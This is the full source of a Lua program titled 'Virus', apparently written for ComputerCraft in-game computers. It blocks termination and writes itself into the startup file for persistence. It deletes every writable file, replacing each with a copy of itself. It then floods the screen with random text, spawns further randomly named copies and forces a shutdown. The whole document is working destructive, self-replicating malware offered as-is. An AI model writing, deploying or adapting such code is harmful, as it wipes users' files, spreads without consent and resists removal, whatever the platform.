Virus

os.pullEvent = os.pullEventRaw
local chars = {"a","b'","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","1","2","3","4","5","6","7","8","9","0","-","-","-","_","_","!","@","#","$","%","&"}
local maxchars = 73
local tempchar = 0
local currentstring = ""
local runtotal = 0
local newname = ""
os.setComputerLabel("nil_")
if fs.exists("startup") == false then
local vrs = fs.open("startup","w")
vrs.write("shell.run("..'"'..shell.getRunningProgram()..'"'..")")
vrs.close()
end
   for _, f in ipairs( fs.list("") ) do
        if not fs.isReadOnly( f ) and f ~= "disk" and f ~= shell.getRunningProgram() and f ~= "startup" then
            fs.delete( f )
    fs.copy(shell.getRunningProgram(),f)
local vrp = fs.open("startup","a")
vrp.writeLine("shell.run("..'"'..f..'"'..")")
vrp.close()
        end
end


term.setTextColor(colors.white)
term.setBackgroundColor(colors.blue)
term.clear()
term.setCursorPos(1,1)
while true do
for i=1,46 do
tempchar = math.random(1,maxchars)
if i == 1 then
currentstring = chars[tempchar]
else
currentstring = currentstring .. chars[tempchar]
end
--print(currentstring)
if i == 46 then
print(currentstring)
runtotal = runtotal + 1
sleep(.1)
end
if runtotal == 100 then
for a=1,10 do
if a==1 then
newname = chars[math.random(1,maxchars)]
else
newname = newname .. chars[math.random(1,maxchars)]
if a == 10 then
fs.copy(shell.getRunningProgram(),newname)
local vrp = fs.open("startup","a")
vrp.writeLine("shell.run("..'"'..newname..'"'..")")
vrp.close()
end
end
end
os.shutdown()
end
end
end